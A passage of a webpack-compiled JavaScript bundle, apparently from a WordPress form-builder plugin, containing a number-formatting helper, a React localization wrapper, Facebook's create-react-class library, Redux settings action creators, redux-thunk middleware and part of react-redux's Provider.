  var n = ! isFinite( +number ) ? 0 : +number,
    prec = ! isFinite( +decimals ) ? 0 : Math.abs( decimals ),
    sep = ( typeof thousands_sep === 'undefined' ) ? ',' : thousands_sep,
    dec = ( typeof dec_point === 'undefined' ) ? '.' : dec_point,
    s = '',
    toFixedFix = function( n, prec ) {
      var k = Math.pow( 10, prec );
      return '' + ( Math.round( n * k ) / k )
          .toFixed( prec );
    };
  // Fix for IE parseFloat(0.55).toFixed(0) = 0;
  s = ( prec ? toFixedFix( n, prec ) : '' + Math.round( n ) )
    .split( '.' );
  if ( s[ 0 ].length > 3 ) {
    s[ 0 ] = s[ 0 ].replace( /\B(?=(?:\d{3})+(?!\d))/g, sep );
  }
  if ( ( s[ 1 ] || '' )
        .length < prec ) {
    s[ 1 ] = s[ 1 ] || '';
    s[ 1 ] += new Array( prec - s[ 1 ].length + 1 )
      .join( '0' );
  }
  return s.join( dec );
}

module.exports = number_format;


/***/ }),
/* 105 */
/***/ (function(module, exports, __webpack_require__) {

var React = __webpack_require__( 0 ),
	assign = __webpack_require__( 60 ),
	createClass = __webpack_require__( 106 );

/**
 * Localize a React component
 * @param ComposedComponent
 * @returns A new Localized React Component
 */
module.exports = function( i18n ) {
	var i18nProps = {
		numberFormat: i18n.numberFormat.bind( i18n ),
		translate: i18n.translate.bind( i18n )
	};

	return function( ComposedComponent ) {
		var componentName = ComposedComponent.displayName || ComposedComponent.name || '';

		var component = createClass({
			displayName: 'Localized(' + componentName + ')',

			componentDidMount: function() {
				this.boundForceUpdate = this.forceUpdate.bind( this );
				i18n.stateObserver.addListener( 'change', this.boundForceUpdate );
			},

			componentWillUnmount: function() {
				// in some cases, componentWillUnmount is called before componentDidMount
				// Supposedly fixed in React 15.1.0: https://github.com/facebook/react/issues/2410
				if ( this.boundForceUpdate ) {
					i18n.stateObserver.removeListener( 'change', this.boundForceUpdate );
				}
			},

			render: function() {
				var props = assign( {}, this.props, i18nProps );
				return React.createElement( ComposedComponent, props );
			}
		} );
		component._composedComponent = ComposedComponent;
		return component;
	};
};


/***/ }),
/* 106 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 *
 */



var React = __webpack_require__(0);
var factory = __webpack_require__(107);

if (typeof React === 'undefined') {
  throw Error(
    'create-react-class could not find the React object. If you are using script tags, ' +
      'make sure that React is being loaded before create-react-class.'
  );
}

// Hack to grab NoopUpdateQueue from isomorphic React
var ReactNoopUpdateQueue = new React.Component().updater;

module.exports = factory(
  React.Component,
  React.isValidElement,
  ReactNoopUpdateQueue
);


/***/ }),
/* 107 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 *
 */



var _assign = __webpack_require__(62);

var emptyObject = __webpack_require__(108);
var _invariant = __webpack_require__(58);

if (process.env.NODE_ENV !== 'production') {
  var warning = __webpack_require__(59);
}

var MIXINS_KEY = 'mixins';

// Helper function to allow the creation of anonymous functions which do not
// have .name set to the name of the variable being assigned to.
function identity(fn) {
  return fn;
}

var ReactPropTypeLocationNames;
if (process.env.NODE_ENV !== 'production') {
  ReactPropTypeLocationNames = {
    prop: 'prop',
    context: 'context',
    childContext: 'child context'
  };
} else {
  ReactPropTypeLocationNames = {};
}

function factory(ReactComponent, isValidElement, ReactNoopUpdateQueue) {
  /**
   * Policies that describe methods in `ReactClassInterface`.
   */

  var injectedMixins = [];

  /**
   * Composite components are higher-level components that compose other composite
   * or host components.
   *
   * To create a new type of `ReactClass`, pass a specification of
   * your new class to `React.createClass`. The only requirement of your class
   * specification is that you implement a `render` method.
   *
   *   var MyComponent = React.createClass({
   *     render: function() {
   *       return <div>Hello World</div>;
   *     }
   *   });
   *
   * The class specification supports a specific protocol of methods that have
   * special meaning (e.g. `render`). See `ReactClassInterface` for
   * more the comprehensive protocol. Any other properties and methods in the
   * class specification will be available on the prototype.
   *
   * @interface ReactClassInterface
   * @internal
   */
  var ReactClassInterface = {
    /**
     * An array of Mixin objects to include when defining your component.
     *
     * @type {array}
     * @optional
     */
    mixins: 'DEFINE_MANY',

    /**
     * An object containing properties and methods that should be defined on
     * the component's constructor instead of its prototype (static methods).
     *
     * @type {object}
     * @optional
     */
    statics: 'DEFINE_MANY',

    /**
     * Definition of prop types for this component.
     *
     * @type {object}
     * @optional
     */
    propTypes: 'DEFINE_MANY',

    /**
     * Definition of context types for this component.
     *
     * @type {object}
     * @optional
     */
    contextTypes: 'DEFINE_MANY',

    /**
     * Definition of context types this component sets for its children.
     *
     * @type {object}
     * @optional
     */
    childContextTypes: 'DEFINE_MANY',

    // ==== Definition methods ====

    /**
     * Invoked when the component is mounted. Values in the mapping will be set on
     * `this.props` if that prop is not specified (i.e. using an `in` check).
     *
     * This method is invoked before `getInitialState` and therefore cannot rely
     * on `this.state` or use `this.setState`.
     *
     * @return {object}
     * @optional
     */
    getDefaultProps: 'DEFINE_MANY_MERGED',

    /**
     * Invoked once before the component is mounted. The return value will be used
     * as the initial value of `this.state`.
     *
     *   getInitialState: function() {
     *     return {
     *       isOn: false,
     *       fooBaz: new BazFoo()
     *     }
     *   }
     *
     * @return {object}
     * @optional
     */
    getInitialState: 'DEFINE_MANY_MERGED',

    /**
     * @return {object}
     * @optional
     */
    getChildContext: 'DEFINE_MANY_MERGED',

    /**
     * Uses props from `this.props` and state from `this.state` to render the
     * structure of the component.
     *
     * No guarantees are made about when or how often this method is invoked, so
     * it must not have side effects.
     *
     *   render: function() {
     *     var name = this.props.name;
     *     return <div>Hello, {name}!</div>;
     *   }
     *
     * @return {ReactComponent}
     * @required
     */
    render: 'DEFINE_ONCE',

    // ==== Delegate methods ====

    /**
     * Invoked when the component is initially created and about to be mounted.
     * This may have side effects, but any external subscriptions or data created
     * by this method must be cleaned up in `componentWillUnmount`.
     *
     * @optional
     */
    componentWillMount: 'DEFINE_MANY',

    /**
     * Invoked when the component has been mounted and has a DOM representation.
     * However, there is no guarantee that the DOM node is in the document.
     *
     * Use this as an opportunity to operate on the DOM when the component has
     * been mounted (initialized and rendered) for the first time.
     *
     * @param {DOMElement} rootNode DOM element representing the component.
     * @optional
     */
    componentDidMount: 'DEFINE_MANY',

    /**
     * Invoked before the component receives new props.
     *
     * Use this as an opportunity to react to a prop transition by updating the
     * state using `this.setState`. Current props are accessed via `this.props`.
     *
     *   componentWillReceiveProps: function(nextProps, nextContext) {
     *     this.setState({
     *       likesIncreasing: nextProps.likeCount > this.props.likeCount
     *     });
     *   }
     *
     * NOTE: There is no equivalent `componentWillReceiveState`. An incoming prop
     * transition may cause a state change, but the opposite is not true. If you
     * need it, you are probably looking for `componentWillUpdate`.
     *
     * @param {object} nextProps
     * @optional
     */
    componentWillReceiveProps: 'DEFINE_MANY',

    /**
     * Invoked while deciding if the component should be updated as a result of
     * receiving new props, state and/or context.
     *
     * Use this as an opportunity to `return false` when you're certain that the
     * transition to the new props/state/context will not require a component
     * update.
     *
     *   shouldComponentUpdate: function(nextProps, nextState, nextContext) {
     *     return !equal(nextProps, this.props) ||
     *       !equal(nextState, this.state) ||
     *       !equal(nextContext, this.context);
     *   }
     *
     * @param {object} nextProps
     * @param {?object} nextState
     * @param {?object} nextContext
     * @return {boolean} True if the component should update.
     * @optional
     */
    shouldComponentUpdate: 'DEFINE_ONCE',

    /**
     * Invoked when the component is about to update due to a transition from
     * `this.props`, `this.state` and `this.context` to `nextProps`, `nextState`
     * and `nextContext`.
     *
     * Use this as an opportunity to perform preparation before an update occurs.
     *
     * NOTE: You **cannot** use `this.setState()` in this method.
     *
     * @param {object} nextProps
     * @param {?object} nextState
     * @param {?object} nextContext
     * @param {ReactReconcileTransaction} transaction
     * @optional
     */
    componentWillUpdate: 'DEFINE_MANY',

    /**
     * Invoked when the component's DOM representation has been updated.
     *
     * Use this as an opportunity to operate on the DOM when the component has
     * been updated.
     *
     * @param {object} prevProps
     * @param {?object} prevState
     * @param {?object} prevContext
     * @param {DOMElement} rootNode DOM element representing the component.
     * @optional
     */
    componentDidUpdate: 'DEFINE_MANY',

    /**
     * Invoked when the component is about to be removed from its parent and have
     * its DOM representation destroyed.
     *
     * Use this as an opportunity to deallocate any external resources.
     *
     * NOTE: There is no `componentDidUnmount` since your component will have been
     * destroyed by that point.
     *
     * @optional
     */
    componentWillUnmount: 'DEFINE_MANY',

    /**
     * Replacement for (deprecated) `componentWillMount`.
     *
     * @optional
     */
    UNSAFE_componentWillMount: 'DEFINE_MANY',

    /**
     * Replacement for (deprecated) `componentWillReceiveProps`.
     *
     * @optional
     */
    UNSAFE_componentWillReceiveProps: 'DEFINE_MANY',

    /**
     * Replacement for (deprecated) `componentWillUpdate`.
     *
     * @optional
     */
    UNSAFE_componentWillUpdate: 'DEFINE_MANY',

    // ==== Advanced methods ====

    /**
     * Updates the component's currently mounted DOM representation.
     *
     * By default, this implements React's rendering and reconciliation algorithm.
     * Sophisticated clients may wish to override this.
     *
     * @param {ReactReconcileTransaction} transaction
     * @internal
     * @overridable
     */
    updateComponent: 'OVERRIDE_BASE'
  };

  /**
   * Similar to ReactClassInterface but for static methods.
   */
  var ReactClassStaticInterface = {
    /**
     * This method is invoked after a component is instantiated and when it
     * receives new props. Return an object to update state in response to
     * prop changes. Return null to indicate no change to state.
     *
     * If an object is returned, its keys will be merged into the existing state.
     *
     * @return {object || null}
     * @optional
     */
    getDerivedStateFromProps: 'DEFINE_MANY_MERGED'
  };

  /**
   * Mapping from class specification keys to special processing functions.
   *
   * Although these are declared like instance properties in the specification
   * when defining classes using `React.createClass`, they are actually static
   * and are accessible on the constructor instead of the prototype. Despite
   * being static, they must be defined outside of the "statics" key under
   * which all other static methods are defined.
   */
  var RESERVED_SPEC_KEYS = {
    displayName: function(Constructor, displayName) {
      Constructor.displayName = displayName;
    },
    mixins: function(Constructor, mixins) {
      if (mixins) {
        for (var i = 0; i < mixins.length; i++) {
          mixSpecIntoComponent(Constructor, mixins[i]);
        }
      }
    },
    childContextTypes: function(Constructor, childContextTypes) {
      if (process.env.NODE_ENV !== 'production') {
        validateTypeDef(Constructor, childContextTypes, 'childContext');
      }
      Constructor.childContextTypes = _assign(
        {},
        Constructor.childContextTypes,
        childContextTypes
      );
    },
    contextTypes: function(Constructor, contextTypes) {
      if (process.env.NODE_ENV !== 'production') {
        validateTypeDef(Constructor, contextTypes, 'context');
      }
      Constructor.contextTypes = _assign(
        {},
        Constructor.contextTypes,
        contextTypes
      );
    },
    /**
     * Special case getDefaultProps which should move into statics but requires
     * automatic merging.
     */
    getDefaultProps: function(Constructor, getDefaultProps) {
      if (Constructor.getDefaultProps) {
        Constructor.getDefaultProps = createMergedResultFunction(
          Constructor.getDefaultProps,
          getDefaultProps
        );
      } else {
        Constructor.getDefaultProps = getDefaultProps;
      }
    },
    propTypes: function(Constructor, propTypes) {
      if (process.env.NODE_ENV !== 'production') {
        validateTypeDef(Constructor, propTypes, 'prop');
      }
      Constructor.propTypes = _assign({}, Constructor.propTypes, propTypes);
    },
    statics: function(Constructor, statics) {
      mixStaticSpecIntoComponent(Constructor, statics);
    },
    autobind: function() {}
  };

  function validateTypeDef(Constructor, typeDef, location) {
    for (var propName in typeDef) {
      if (typeDef.hasOwnProperty(propName)) {
        // use a warning instead of an _invariant so components
        // don't show up in prod but only in __DEV__
        if (process.env.NODE_ENV !== 'production') {
          warning(
            typeof typeDef[propName] === 'function',
            '%s: %s type `%s` is invalid; it must be a function, usually from ' +
              'React.PropTypes.',
            Constructor.displayName || 'ReactClass',
            ReactPropTypeLocationNames[location],
            propName
          );
        }
      }
    }
  }

  function validateMethodOverride(isAlreadyDefined, name) {
    var specPolicy = ReactClassInterface.hasOwnProperty(name)
      ? ReactClassInterface[name]
      : null;

    // Disallow overriding of base class methods unless explicitly allowed.
    if (ReactClassMixin.hasOwnProperty(name)) {
      _invariant(
        specPolicy === 'OVERRIDE_BASE',
        'ReactClassInterface: You are attempting to override ' +
          '`%s` from your class specification. Ensure that your method names ' +
          'do not overlap with React methods.',
        name
      );
    }

    // Disallow defining methods more than once unless explicitly allowed.
    if (isAlreadyDefined) {
      _invariant(
        specPolicy === 'DEFINE_MANY' || specPolicy === 'DEFINE_MANY_MERGED',
        'ReactClassInterface: You are attempting to define ' +
          '`%s` on your component more than once. This conflict may be due ' +
          'to a mixin.',
        name
      );
    }
  }

  /**
   * Mixin helper which handles policy validation and reserved
   * specification keys when building React classes.
   */
  function mixSpecIntoComponent(Constructor, spec) {
    if (!spec) {
      if (process.env.NODE_ENV !== 'production') {
        var typeofSpec = typeof spec;
        var isMixinValid = typeofSpec === 'object' && spec !== null;

        if (process.env.NODE_ENV !== 'production') {
          warning(
            isMixinValid,
            "%s: You're attempting to include a mixin that is either null " +
              'or not an object. Check the mixins included by the component, ' +
              'as well as any mixins they include themselves. ' +
              'Expected object but got %s.',
            Constructor.displayName || 'ReactClass',
            spec === null ? null : typeofSpec
          );
        }
      }

      return;
    }

    _invariant(
      typeof spec !== 'function',
      "ReactClass: You're attempting to " +
        'use a component class or function as a mixin. Instead, just use a ' +
        'regular object.'
    );
    _invariant(
      !isValidElement(spec),
      "ReactClass: You're attempting to " +
        'use a component as a mixin. Instead, just use a regular object.'
    );

    var proto = Constructor.prototype;
    var autoBindPairs = proto.__reactAutoBindPairs;

    // By handling mixins before any other properties, we ensure the same
    // chaining order is applied to methods with DEFINE_MANY policy, whether
    // mixins are listed before or after these methods in the spec.
    if (spec.hasOwnProperty(MIXINS_KEY)) {
      RESERVED_SPEC_KEYS.mixins(Constructor, spec.mixins);
    }

    for (var name in spec) {
      if (!spec.hasOwnProperty(name)) {
        continue;
      }

      if (name === MIXINS_KEY) {
        // We have already handled mixins in a special case above.
        continue;
      }

      var property = spec[name];
      var isAlreadyDefined = proto.hasOwnProperty(name);
      validateMethodOverride(isAlreadyDefined, name);

      if (RESERVED_SPEC_KEYS.hasOwnProperty(name)) {
        RESERVED_SPEC_KEYS[name](Constructor, property);
      } else {
        // Setup methods on prototype:
        // The following member methods should not be automatically bound:
        // 1. Expected ReactClass methods (in the "interface").
        // 2. Overridden methods (that were mixed in).
        var isReactClassMethod = ReactClassInterface.hasOwnProperty(name);
        var isFunction = typeof property === 'function';
        var shouldAutoBind =
          isFunction &&
          !isReactClassMethod &&
          !isAlreadyDefined &&
          spec.autobind !== false;

        if (shouldAutoBind) {
          autoBindPairs.push(name, property);
          proto[name] = property;
        } else {
          if (isAlreadyDefined) {
            var specPolicy = ReactClassInterface[name];

            // These cases should already be caught by validateMethodOverride.
            _invariant(
              isReactClassMethod &&
                (specPolicy === 'DEFINE_MANY_MERGED' ||
                  specPolicy === 'DEFINE_MANY'),
              'ReactClass: Unexpected spec policy %s for key %s ' +
                'when mixing in component specs.',
              specPolicy,
              name
            );

            // For methods which are defined more than once, call the existing
            // methods before calling the new property, merging if appropriate.
            if (specPolicy === 'DEFINE_MANY_MERGED') {
              proto[name] = createMergedResultFunction(proto[name], property);
            } else if (specPolicy === 'DEFINE_MANY') {
              proto[name] = createChainedFunction(proto[name], property);
            }
          } else {
            proto[name] = property;
            if (process.env.NODE_ENV !== 'production') {
              // Add verbose displayName to the function, which helps when looking
              // at profiling tools.
              if (typeof property === 'function' && spec.displayName) {
                proto[name].displayName = spec.displayName + '_' + name;
              }
            }
          }
        }
      }
    }
  }

  function mixStaticSpecIntoComponent(Constructor, statics) {
    if (!statics) {
      return;
    }

    for (var name in statics) {
      var property = statics[name];
      if (!statics.hasOwnProperty(name)) {
        continue;
      }

      var isReserved = name in RESERVED_SPEC_KEYS;
      _invariant(
        !isReserved,
        'ReactClass: You are attempting to define a reserved ' +
          'property, `%s`, that shouldn\'t be on the "statics" key. Define it ' +
          'as an instance property instead; it will still be accessible on the ' +
          'constructor.',
        name
      );

      var isAlreadyDefined = name in Constructor;
      if (isAlreadyDefined) {
        var specPolicy = ReactClassStaticInterface.hasOwnProperty(name)
          ? ReactClassStaticInterface[name]
          : null;

        _invariant(
          specPolicy === 'DEFINE_MANY_MERGED',
          'ReactClass: You are attempting to define ' +
            '`%s` on your component more than once. This conflict may be ' +
            'due to a mixin.',
          name
        );

        Constructor[name] = createMergedResultFunction(Constructor[name], property);

        return;
      }

      Constructor[name] = property;
    }
  }

  /**
   * Merge two objects, but throw if both contain the same key.
   *
   * @param {object} one The first object, which is mutated.
   * @param {object} two The second object
   * @return {object} one after it has been mutated to contain everything in two.
   */
  function mergeIntoWithNoDuplicateKeys(one, two) {
    _invariant(
      one && two && typeof one === 'object' && typeof two === 'object',
      'mergeIntoWithNoDuplicateKeys(): Cannot merge non-objects.'
    );

    for (var key in two) {
      if (two.hasOwnProperty(key)) {
        _invariant(
          one[key] === undefined,
          'mergeIntoWithNoDuplicateKeys(): ' +
            'Tried to merge two objects with the same key: `%s`. This conflict ' +
            'may be due to a mixin; in particular, this may be caused by two ' +
            'getInitialState() or getDefaultProps() methods returning objects ' +
            'with clashing keys.',
          key
        );
        one[key] = two[key];
      }
    }
    return one;
  }

  /**
   * Creates a function that invokes two functions and merges their return values.
   *
   * @param {function} one Function to invoke first.
   * @param {function} two Function to invoke second.
   * @return {function} Function that invokes the two argument functions.
   * @private
   */
  function createMergedResultFunction(one, two) {
    return function mergedResult() {
      var a = one.apply(this, arguments);
      var b = two.apply(this, arguments);
      if (a == null) {
        return b;
      } else if (b == null) {
        return a;
      }
      var c = {};
      mergeIntoWithNoDuplicateKeys(c, a);
      mergeIntoWithNoDuplicateKeys(c, b);
      return c;
    };
  }

  /**
   * Creates a function that invokes two functions and ignores their return vales.
   *
   * @param {function} one Function to invoke first.
   * @param {function} two Function to invoke second.
   * @return {function} Function that invokes the two argument functions.
   * @private
   */
  function createChainedFunction(one, two) {
    return function chainedFunction() {
      one.apply(this, arguments);
      two.apply(this, arguments);
    };
  }

  /**
   * Binds a method to the component.
   *
   * @param {object} component Component whose method is going to be bound.
   * @param {function} method Method to be bound.
   * @return {function} The bound method.
   */
  function bindAutoBindMethod(component, method) {
    var boundMethod = method.bind(component);
    if (process.env.NODE_ENV !== 'production') {
      boundMethod.__reactBoundContext = component;
      boundMethod.__reactBoundMethod = method;
      boundMethod.__reactBoundArguments = null;
      var componentName = component.constructor.displayName;
      var _bind = boundMethod.bind;
      boundMethod.bind = function(newThis) {
        for (
          var _len = arguments.length,
            args = Array(_len > 1 ? _len - 1 : 0),
            _key = 1;
          _key < _len;
          _key++
        ) {
          args[_key - 1] = arguments[_key];
        }

        // User is trying to bind() an autobound method; we effectively will
        // ignore the value of "this" that the user is trying to use, so
        // let's warn.
        if (newThis !== component && newThis !== null) {
          if (process.env.NODE_ENV !== 'production') {
            warning(
              false,
              'bind(): React component methods may only be bound to the ' +
                'component instance. See %s',
              componentName
            );
          }
        } else if (!args.length) {
          if (process.env.NODE_ENV !== 'production') {
            warning(
              false,
              'bind(): You are binding a component method to the component. ' +
                'React does this for you automatically in a high-performance ' +
                'way, so you can safely remove this call. See %s',
              componentName
            );
          }
          return boundMethod;
        }
        var reboundMethod = _bind.apply(boundMethod, arguments);
        reboundMethod.__reactBoundContext = component;
        reboundMethod.__reactBoundMethod = method;
        reboundMethod.__reactBoundArguments = args;
        return reboundMethod;
      };
    }
    return boundMethod;
  }

  /**
   * Binds all auto-bound methods in a component.
   *
   * @param {object} component Component whose method is going to be bound.
   */
  function bindAutoBindMethods(component) {
    var pairs = component.__reactAutoBindPairs;
    for (var i = 0; i < pairs.length; i += 2) {
      var autoBindKey = pairs[i];
      var method = pairs[i + 1];
      component[autoBindKey] = bindAutoBindMethod(component, method);
    }
  }

  var IsMountedPreMixin = {
    componentDidMount: function() {
      this.__isMounted = true;
    }
  };

  var IsMountedPostMixin = {
    componentWillUnmount: function() {
      this.__isMounted = false;
    }
  };

  /**
   * Add more to the ReactClass base class. These are all legacy features and
   * therefore not already part of the modern ReactComponent.
   */
  var ReactClassMixin = {
    /**
     * TODO: This will be deprecated because state should always keep a consistent
     * type signature and the only use case for this, is to avoid that.
     */
    replaceState: function(newState, callback) {
      this.updater.enqueueReplaceState(this, newState, callback);
    },

    /**
     * Checks whether or not this composite component is mounted.
     * @return {boolean} True if mounted, false otherwise.
     * @protected
     * @final
     */
    isMounted: function() {
      if (process.env.NODE_ENV !== 'production') {
        warning(
          this.__didWarnIsMounted,
          '%s: isMounted is deprecated. Instead, make sure to clean up ' +
            'subscriptions and pending requests in componentWillUnmount to ' +
            'prevent memory leaks.',
          (this.constructor && this.constructor.displayName) ||
            this.name ||
            'Component'
        );
        this.__didWarnIsMounted = true;
      }
      return !!this.__isMounted;
    }
  };

  var ReactClassComponent = function() {};
  _assign(
    ReactClassComponent.prototype,
    ReactComponent.prototype,
    ReactClassMixin
  );

  /**
   * Creates a composite component class given a class specification.
   * See https://facebook.github.io/react/docs/top-level-api.html#react.createclass
   *
   * @param {object} spec Class specification (which must define `render`).
   * @return {function} Component constructor function.
   * @public
   */
  function createClass(spec) {
    // To keep our warnings more understandable, we'll use a little hack here to
    // ensure that Constructor.name !== 'Constructor'. This makes sure we don't
    // unnecessarily identify a class without displayName as 'Constructor'.
    var Constructor = identity(function(props, context, updater) {
      // This constructor gets overridden by mocks. The argument is used
      // by mocks to assert on what gets mounted.

      if (process.env.NODE_ENV !== 'production') {
        warning(
          this instanceof Constructor,
          'Something is calling a React component directly. Use a factory or ' +
            'JSX instead. See: https://fb.me/react-legacyfactory'
        );
      }

      // Wire up auto-binding
      if (this.__reactAutoBindPairs.length) {
        bindAutoBindMethods(this);
      }

      this.props = props;
      this.context = context;
      this.refs = emptyObject;
      this.updater = updater || ReactNoopUpdateQueue;

      this.state = null;

      // ReactClasses doesn't have constructors. Instead, they use the
      // getInitialState and componentWillMount methods for initialization.

      var initialState = this.getInitialState ? this.getInitialState() : null;
      if (process.env.NODE_ENV !== 'production') {
        // We allow auto-mocks to proceed as if they're returning null.
        if (
          initialState === undefined &&
          this.getInitialState._isMockFunction
        ) {
          // This is probably bad practice. Consider warning here and
          // deprecating this convenience.
          initialState = null;
        }
      }
      _invariant(
        typeof initialState === 'object' && !Array.isArray(initialState),
        '%s.getInitialState(): must return an object or null',
        Constructor.displayName || 'ReactCompositeComponent'
      );

      this.state = initialState;
    });
    Constructor.prototype = new ReactClassComponent();
    Constructor.prototype.constructor = Constructor;
    Constructor.prototype.__reactAutoBindPairs = [];

    injectedMixins.forEach(mixSpecIntoComponent.bind(null, Constructor));

    mixSpecIntoComponent(Constructor, IsMountedPreMixin);
    mixSpecIntoComponent(Constructor, spec);
    mixSpecIntoComponent(Constructor, IsMountedPostMixin);

    // Initialize the defaultProps property after all mixins have been merged.
    if (Constructor.getDefaultProps) {
      Constructor.defaultProps = Constructor.getDefaultProps();
    }

    if (process.env.NODE_ENV !== 'production') {
      // This is a tag to indicate that the use of these method names is ok,
      // since it's used with createClass. If it's not, then it's likely a
      // mistake so we'll warn you to use the static property, property
      // initializer or constructor respectively.
      if (Constructor.getDefaultProps) {
        Constructor.getDefaultProps.isReactClassApproved = {};
      }
      if (Constructor.prototype.getInitialState) {
        Constructor.prototype.getInitialState.isReactClassApproved = {};
      }
    }

    _invariant(
      Constructor.prototype.render,
      'createClass(...): Class specification must implement a `render` method.'
    );

    if (process.env.NODE_ENV !== 'production') {
      warning(
        !Constructor.prototype.componentShouldUpdate,
        '%s has a method called ' +
          'componentShouldUpdate(). Did you mean shouldComponentUpdate()? ' +
          'The name is phrased as a question because the function is ' +
          'expected to return a value.',
        spec.displayName || 'A component'
      );
      warning(
        !Constructor.prototype.componentWillRecieveProps,
        '%s has a method called ' +
          'componentWillRecieveProps(). Did you mean componentWillReceiveProps()?',
        spec.displayName || 'A component'
      );
      warning(
        !Constructor.prototype.UNSAFE_componentWillRecieveProps,
        '%s has a method called UNSAFE_componentWillRecieveProps(). ' +
          'Did you mean UNSAFE_componentWillReceiveProps()?',
        spec.displayName || 'A component'
      );
    }

    // Reduce time spent doing lookups by setting these on the prototype.
    for (var methodName in ReactClassInterface) {
      if (!Constructor.prototype[methodName]) {
        Constructor.prototype[methodName] = null;
      }
    }

    return Constructor;
  }

  return createClass;
}

module.exports = factory;

/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 108 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 *
 */



var emptyObject = {};

if (process.env.NODE_ENV !== 'production') {
  Object.freeze(emptyObject);
}

module.exports = emptyObject;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 109 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
var updateSetting = exports.updateSetting = function updateSetting(setting, value) {
	return function (dispatch) {
		// Update global variable with Changes
		window.forminatorChanges.settings = true;

		dispatch({
			type: 'UPDATE_SETTING',
			setting: setting,
			value: value
		});
	};
};

var updateSettings = exports.updateSettings = function updateSettings(settings) {
	return function (dispatch) {
		// Update global variable with Changes
		window.forminatorChanges.settings = true;

		dispatch({
			type: 'UPDATE_SETTINGS',
			settings: settings
		});
	};
};

var resetSettings = exports.resetSettings = function resetSettings(settings) {
	return function (dispatch) {
		// Update global variable with Changes
		window.forminatorChanges.settings = true;

		dispatch({
			type: 'RESET_SETTINGS',
			settings: settings
		});
	};
};

var saveBuilder = exports.saveBuilder = function saveBuilder(setting, value) {
	return function (dispatch) {
		// Empty global changed variable
		window.forminatorChanges = {
			fields: [],
			settings: false,
			saved: true
		};

		dispatch({
			type: 'UPDATE_SETTING',
			setting: setting,
			value: value
		});
	};
};

/***/ }),
/* 110 */,
/* 111 */,
/* 112 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
function createThunkMiddleware(extraArgument) {
  return function (_ref) {
    var dispatch = _ref.dispatch,
        getState = _ref.getState;
    return function (next) {
      return function (action) {
        if (typeof action === 'function') {
          return action(dispatch, getState, extraArgument);
        }

        return next(action);
      };
    };
  };
}

var thunk = createThunkMiddleware();
thunk.withExtraArgument = createThunkMiddleware;

/* harmony default export */ __webpack_exports__["default"] = (thunk);

/***/ }),
/* 113 */,
/* 114 */,
/* 115 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/* harmony export (immutable) */ __webpack_exports__["a"] = createProvider;
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__utils_PropTypes__ = __webpack_require__(68);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__utils_warning__ = __webpack_require__(45);
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }






var didWarnAboutReceivingStore = false;
function warnAboutReceivingStore() {
  if (didWarnAboutReceivingStore) {
    return;
  }
  didWarnAboutReceivingStore = true;

  Object(__WEBPACK_IMPORTED_MODULE_3__utils_warning__["a" /* default */])('<Provider> does not support changing `store` on the fly. ' + 'It is most likely that you see this error because you updated to ' + 'Redux 2.x and React Redux 2.x which no longer hot reload reducers ' + 'automatically. See https://github.com/reactjs/react-redux/releases/' + 'tag/v2.0.0 for the migration instructions.');
}

function createProvider() {
  var _Provider$childContex;

  var storeKey = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'store';
  var subKey = arguments[1];

  var subscriptionKey = subKey || storeKey + 'Subscription';

  var Provider = function (_Component) {
    _inherits(Provider, _Component);

    Provider.prototype.getChildContext = function getChildContext() {
      var _ref;

      return _ref = {}, _ref[storeKey] = this[storeKey], _ref[subscriptionKey] = null, _ref;
    };

    function Provider(props, context) {
      _classCallCheck(this, Provider);

      var _this = _possibleConstructorReturn(this, _Component.call(this, props, context));

      _this[storeKey] = props.store;
      return _this;
    }

    Provider.prototype.render = function render() {
      return __WEBPACK_IMPORTED_MODULE_0_react__["Children"].only(this.props.children);
    };

    return Provider;
  }(__WEBPACK_IMPORTED_MODULE_0_react__["Component"]);

  if (process.env.NODE_ENV !== 'production') {
    Provider.prototype.componentWillReceiveProps = function (nextProps) {
      if (this[storeKey] !== nextProps.store) {
        warnAboutReceivingStore();
      }
    };
  }

  Provider.propTypes = {
    store: __WEBPACK_IMPORTED_MODULE_2__utils_PropTypes__["a" /* storeShape */].isRequired,
    children: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.element.isRequired
  };
